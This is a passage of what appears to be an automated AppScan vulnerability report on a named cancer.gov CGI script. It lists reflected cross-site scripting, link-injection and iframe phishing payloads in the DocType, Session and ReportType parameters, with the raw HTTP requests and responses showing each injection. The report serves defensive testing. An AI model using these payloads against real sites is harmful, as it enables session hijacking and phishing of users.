        <TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
        <TD><INPUT SIZE='60' NAME='DocTitle'></TD>
        </TR>
        <TR>
        <TD> </TD>
        <TD>... or ...</TD>
        </TR>
        <TR>
        <TD ALIGN='right'><B>Document CDR ID: <
        ...
```

## Issue 2 of 14

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448177 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | DocType |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 26

**The following changes were applied to the original request:**

```
Injected 'GlossaryTermName'/><script>alert(1304)</script>' into the value of parameter 'DocType'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py? DocType=GlossaryTermName'/><script>alert(1304)</script>
&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:01:30 GMT
Connection: close
Content-Length: 13059

...
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'/><script> alert(1304) </script>'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CDR ID: <
...
...
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'/><script> alert(1304) </script>'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
```

```
        </TR>
        <TR>
        <TD ALIGN='right'><B>Document CDR ID: <
        ...
```

## Issue 3 of 14

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448231 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 4

**The following changes were applied to the original request:**

```
- Set the value of the parameter 'DocType' to
'%3E%22%27%3E%3Cscript%3Ealert%28176%29%3C%2Fscript%3E'
- Set the value of the parameter 'Session' to
'%3E%22%27%3E%3Cscript%3Ealert%28176%29%3C%2Fscript%3E'
```

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py? DocType=%3E%22%27%3E%3Cscript%3Ealert%28176%29%3C%2Fscript%3E & Sess
ion= %3E% 22%2 7%3E %3Cs crip t%3E aler t%28 176% 29%3 C%2F scri pt%3 E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:06 GMT
Connection: close
Content-Length: 13070


...
='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='>"'><script> alert(176) </script>'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='>"'><script>alert(176)</script>'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or
...
...
='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='>"'><script> alert(176) </script>'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='>"'><script>alert(176)</script>'>
<TABLE>
```

```
        <TR>
        <TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
        <TD><INPUT SIZE='60' NAME='DocTitle'></TD>
        </TR>
        <TR>
        <TD> </TD>
        <TD>... or
        ...
```

## Issue 4 of 14

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448233 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 26

**The following changes were applied to the original request:**

Injected 'None'/><script>alert(1273)</script>' into the value of parameter 'Session'

**Reasoning:**

The test result seems to indicate a vulnerability because Appscan successfully embedded a script in the response, which will be executed when the page loads in the user's browser.

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& Session=None'/><script>alert(1273)</script>
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:00:49 GMT
Connection: close
Content-Length: 13059

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1273) </script>'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>

...
...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1273) </script>'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<TABLE>
```

```
        <TR>
        <TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
        <TD><INPUT SIZE='60' NAME='DocTitle'></TD>
        </TR>
        <TR>
        <TD> </TD>
        <TD>... or ...</TD>

        ...
```

## Issue 5 of 14

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448132 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | DocType |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 4

**The following changes were applied to the original request:**

Set the value of the parameter 'DocType' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1301.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py? DocType=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1301.html%22%3E
&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:01:28 GMT
Connection: close
Content-Length: 13044

...

</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='"'> <IMG SRC="/WF_XSRF1301.html"> '>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CDR ID: </B></TD>
...
...

</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
```

```
<INPUT TYPE='hidden' NAME='DocType' VALUE='"'> <IMG SRC="/WF_XSRF1301.html"> '>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CDR ID: </B></TD>
...
```

## Issue 6 of 14

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448166 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | DocType |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'DocType' to 'GlossaryTermName%27%22%3E%3Ciframe+id%3D1300+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py? DocType=GlossaryTermName%27%22%3E%3Ciframe+id%3D1300+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E &Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:01:28 GMT
Connection: close
Content-Length: 13090

...
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'"> <iframe id=1300 src= http://demo.testfire.net/phi shing.html > >'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CD
...
...
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'"> <iframe id=1300 src= http://demo.testfire.net/phi shing.html > >'>
<TABLE>
<TR>
```

```
        <TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
        <TD><INPUT SIZE='60' NAME='DocTitle'></TD>
        </TR>
        <TR>
        <TD> </TD>
        <TD>... or ...</TD>
        </TR>
        <TR>
        <TD ALIGN='right'><B>Document CD
        ...
```

## Issue 7 of 14

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448217 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1269+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& Session=None%27%22%3E%3Ciframe+id%3D1269+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishi ng.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:00:47 GMT
Connection: close
Content-Length: 13090


...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1269 src= http://demo.testfire.net/phishing.html > >'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ..
...
...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1269 src= http://demo.testfire.net/phishing.html > >'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
```

```
        <TABLE>
        <TR>
        <TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
        <TD><INPUT SIZE='60' NAME='DocTitle'></TD>
        </TR>
        <TR>
        <TD> </TD>
        <TD>... or ..
        ...
```

## Issue 8 of 14

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448221 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | ReportType |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
Set the value of the parameter 'ReportType' to
'%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1363.html%22%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a link to
the file "WF_XSRF.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& ReportType=%22%27%3E%3CIMG+SRC%3D%22%2FWF_X
SRF1363.html%22%3E &Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:02:39 GMT
Connection: close
Content-Length: 13133


...
navy; font-size: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='"'> <IMG SRC="/WF_XSRF1363.html"> '>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CDR ID: </B></TD>
...
...
navy; font-size: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='"'> <IMG SRC="/WF_XSRF1363.html"> '>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
```

```
        <TR>
        <TD> </TD>
        <TD>... or ...</TD>
        </TR>
        <TR>
        <TD ALIGN='right'><B>Document CDR ID: </B></TD>
        ...
```

## Issue 9 of 14

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448222 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | ReportType |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'ReportType' to 'gtnwc%27%22%3E%3Ciframe+id%3D1362+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& ReportType=gtnwc%27%22%3E%3Ciframe+id%3D1362+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E &Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:02:38 GMT
Connection: close
Content-Length: 13168

...
; font-size: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='gtnwc'"> <iframe id=1362 src= http://demo.testfire.net/phishing.html > >'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>
<TR>
<TD ALIGN='right'><B>Document CD
...
...
; font-size: small;'> QC Report (Unrecognized Type)<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<INPUT TYPE='hidden' NAME='ReportType' VALUE='gtnwc'"> <iframe id=1362 src= http://demo.testfire.net/phishing.html > >'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
```

```
        <TR>
        <TD> </TD>
        <TD>... or ...</TD>
        </TR>
        <TR>
        <TD ALIGN='right'><B>Document CD
        ...
```

## Issue 10 of 14

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448285 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 4

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1270.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName& Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF
1270.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:00:48 GMT
Connection: close
Content-Length: 13056

...
mit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1270.html"> '>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>

...
...
mit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> QC Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1270.html"> '>
<INPUT TYPE='hidden' NAME='DocType' VALUE='GlossaryTermName'>
<TABLE>
<TR>
<TD ALIGN='right'><B>Document Title: </B><BR/>(use % as wildcard)</TD>
<TD><INPUT SIZE='60' NAME='DocTitle'></TD>
</TR>
<TR>
<TD> </TD>
<TD>... or ...</TD>
</TR>

...
```

## Issue 11 of 14

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448081 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 2

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:51 GMT
Connection: close
Content-Length: 13028

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 12 of 14

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448104 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 4

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/QcReport.py'
- Set query string to 'DocType=GlossaryTermName&Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py ? DocType=GlossaryTermName&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:08 GMT
Connection: close
Content-Length: 13028

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 13 of 14

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448169 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | ReportType |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&ReportType=gtnwc&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:52 GMT
Connection: close
